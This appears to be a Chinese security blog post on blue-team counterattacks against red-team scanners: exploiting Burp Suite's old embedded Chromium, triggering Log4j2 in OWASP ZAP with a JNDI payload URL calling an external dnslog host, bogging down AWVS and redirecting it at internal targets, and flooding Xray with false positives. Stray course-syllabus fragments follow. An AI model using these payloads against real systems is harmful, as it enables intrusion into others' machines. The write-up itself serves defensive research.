自动化漏洞检测方案-使用AI调用BurpSuite

第125篇：蓝队溯源之burpsuite、zap、AWVS、xray扫描器反制方法与复现

*Part1 前言*

**大家好，。最近我一直在更新蓝队分析取证工具箱中的溯源反制功能，为此阅读了大量相关的技术文章。很多资料提到了早期版本的Burpsuite、OWASP ZAP、AWVS、Xray等扫描器的反制思路，虽然这些方法大多适用于老版本，但其核心思路仍然值得借鉴。经过仔细研究和修正，今天写文章把复现过程和payload分享给大家。

*Part2 技术研究过程*

• Burpsuite反制方法

Burpsuite的反制方法之一，就是利用其内嵌的Chromium浏览器漏洞执行构造好的shellcode，从而导致burpsuite的使用者的电脑被反制。早期的burpsuite内嵌的Chromium浏览器的无界面模式，通过命令行方式打开网页，常用于自动化漏洞测试、网站爬虫、网站截图、XSS漏洞检测。如下图所示，早期的burpsuite内置的浏览器是chromium。

Chromium是由Google主导开发的开源浏览器项目，是Google Chrome的核心代码基础，Chrome谷歌浏览器是谷歌基于开源Chromium 项目制作的商业闭源产品。我们常见的浏览器Microsoft Edge、Brave、Opera、Vivaldi都是基于Chromium的。Burpsuite早期内置的Chromium版本较低，历史上存在多个Nday漏洞，攻击者可以构造特殊的html页面执行shellcode从而获取红队人员PC****电脑的权限。

将burpsuite2.0启动，通过进程分析发现，burpsuite对页面进行Reader渲染时，会调用Chromium并附带**–no-sandbox参数，关闭沙盒限制，–headless就是无界面模式。在之后的版本中burpsuit升级使用了chrome.exe作为内嵌浏览器，并且在进程启用时删除了–no-sandbox**参数。所以在后续版本的burpsuite想要利用同样的方法执行恶意的shellcode，必须首先想办法沙盒逃逸。

如下图所示，Burpsuite的被动扫描功能默认情况下开了javascript分析引擎扫描javascript漏洞。该功能可以调用内置的浏览器渲染页面，从而触发相关nday浏览器漏洞，从而执行shellcode。

大概有三种方式可以触发shellcode。第一种触发方法：使用浏览器挂上burpsuite的代理，被动扫描机制在分析页面的时候，就会造成shellcode执行从而弹出计算器或者上线CS。

第二种触发方式在历史记录汇总，只要点击一下“Render”按钮，可以直接弹出计算器。

第三种方式会在“Repeater”测试漏洞的时候，点击“Render”渲染页面，会导致弹出计算器的命令。

• OWASP ZAP反制方法

关于OWASP ZAP扫描器的反制问题，主要参考了浅蓝的文章，他的文章给出的思路还是利用其存在的log4j2漏洞，漏洞的利用分为两种情况。

第1种方式是主动利用。ZAP扫描器双击运行时，其代理监听端口8080会存在一个HTTP API服务的页面，这个API接口页面存在Log4j2漏洞。该漏洞经过测试，适用于****OWASP ZAP <=2.11.0。访问如下url可以触发红队人员电脑的log4j2漏洞被利用，也可以构造一个页面嵌入如下url，在公司进行浏览或者扫描的时候会被触发log4j2漏洞的利用:

http://127.0.0.1:8080/JSON/acsrf/view/optionPartialMatchingEnabled/?apikey=${jndi:ldap://yrrp5c.dnslog.cn:53/exp}

第2种方式是被动利用。可以构造一个特殊的页面，一旦红队使用 OWASP ZAP 抓包访问该页面，扫描器便可能触发 Log4j2 漏洞，从而被蓝队人员反制。经过浅蓝的文章分析，发现ZAP_2.10.0版本的OWASP ZAP的插件pscanrules-release-*.jar插件存在log4j2漏洞，漏洞触发点如下，log.info方法存在日志拼接，可能存在log4j2漏洞。

但是较新一点的2.11.0版本的pscanrules-release-*.jar插件方式变成了占位符的方式，从而杜绝了log4j2漏洞的利用。

继续分析代码发现，如果要触发log4j2漏洞，需要构造一个HTTP Digest验证的请求头，并将username的值赋值为log4j2的payload，以备让OWASP ZAP扫描到这个点去触发。

最终依据上述代码，我使用python基于flask框架编写一个漏洞测试网页，根据这段漏洞代码，构造如下存在漏洞的页面。

使用OWASP ZAP抓包浏览此页面，即可触发log4j2漏洞的利用。

如下图所示，dnslog.cn收到dns请求，说明存在漏洞。

同样，也可以使用“AJAX Spider”进行爬虫，触发Log4j2漏洞，从而达到反制效果。

• AWVS反制方法

AWVS是众多商业Web漏洞扫描器中，我个人觉得非常好用及具有实战意义的扫描器。目前已知的 AWVS 反制方法主要集中在诱导扫描器执行高资源消耗操作，从而达到拒绝服务DoS或扫描效率瘫痪的效果。其中一种典型思路是利用AWVS在处理JavaScript文件时所使用的老版本解析库Acorn，如v2.6.5版本。该版本的 Acorn 缺乏针对递归深度和语法树节点数量的资源限制机制，存在设计缺陷。蓝队可基于此特性，构造大量无意义的 JavaScript 请求，如通过 for 循环批量嵌入 .get() 请求，使得 AWVS 在解析过程中不得不全量构建复杂的抽象语法树AST。虽然这些代码在浏览器中会因运行异常而快速终止，但扫描器作为静态解析工具，必须完整处理整个结构，进而导致内存异常增长、CPU 占用率飙升，最终拖慢甚至阻断扫描任务的执行。如下图所示，我使用python的flask框架写了一个demo代码。

如下图所示，CPU 长时间维持高占用状态，几乎满载，并且扫描任务进度条持续停滞，长时间无法推进。进一步通过 netstat -an 观察网络连接状态发现，AWVS 正在尝试向大量并不存在的目标地址发起连接请求。这些地址多为 JavaScript 文件中伪造构造的 URL，虽然在实际网络中并不可达，但 AWVS 依然将其解析并加入扫描任务队列，导致其不断尝试建立无效连接，最终造成系统资源被持续占用，扫描任务陷入卡顿甚至无法完成的状态。

该方法还可以进一步扩展为主动引导型反制策略。例如，蓝队可以将 JS 文件中的请求地址替换为内网常见设备，如路由器、交换机等已知存在远程命令执行RCE漏洞的接口路径，或是包含 Struts2、Log4j2 等框架漏洞的典型 URL。这样一来，一旦红队在目标环境中使用 AWVS 扫描这些页面，扫描器便会自动访问并触发这些特定路径，实质上变成对红队所处内网环境的反向漏洞扫描与攻击行为。

• Xray反制方法

针对Xray等Web漏洞扫描器的反制手段中，有一种常见思路是通过构造误导性的页面响应内容，干扰其特征匹配机制，从而制造大量误报。Xray****等扫描器的工作原理通常依赖于返回页面中的特定关键字、响应结构、状态码组合等特征来判断漏洞是否存在。因此，如果有意识地在页面中嵌入这些特征，例如：SQL 报错信息、模板注入回显、命令执行提示等，就可以让 Xray 在扫描时误判为存在大量漏洞，最终导致其扫描结果充满误报，从而影响扫描结果，甚至无法继续使用扫描器。

为便于复现这一反制机制，社区中出现了名为 Yarx 的开源工具，名称即为xray的反向拼写。Yarx的核心功能是根据 Xray 所使用的 YAML 格式 POC 规则，自动生成一个符合规则触发条件的模拟服务端。在该模拟服务运行时，任何使用 Xray 对其发起扫描的请求，都将命中预设的漏洞触发逻辑，造成Xray误以为扫描目标存在大量真实漏洞，从而达到误导和反制的目的。使用如下命令，可以启动一个url地址：

.yarx -p ./pocs -l 0.0.0.0:8080

接下来使用xray对该地址进行漏洞扫描：

xray webscan --plugins phantasm --html-output yarx.html--url http://192.168.237.1:8001/

如下图所示，这是xray最终的扫描报告，发现大量的无意义的漏洞存在。

*Part3 总结*

1. 对于扫描器的反制，可利用扫描器内置组件（如浏览器、日志系统）中的 n-day 漏洞实现反制。

2. 对于扫描器的反制，可通过构造伪造响应内容，制造误报干扰扫描结果。

3. 对于扫描器的反制，可引导扫描器发起 SSRF 请求，反打红队所在环境。

4. 未完待续，敬请期待。

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③漏洞扫描、漏洞利用、原理，利用方法、工具（MSF）、绕过IDS和反病毒侦察
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3、操作系统基础（一周）

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②Kali Linux系统常见功能和命令
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4、计算机网络基础（一周）

①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析（HTTP、TCP/IP、ARP等）
④网络攻击技术与网络安全防御技术
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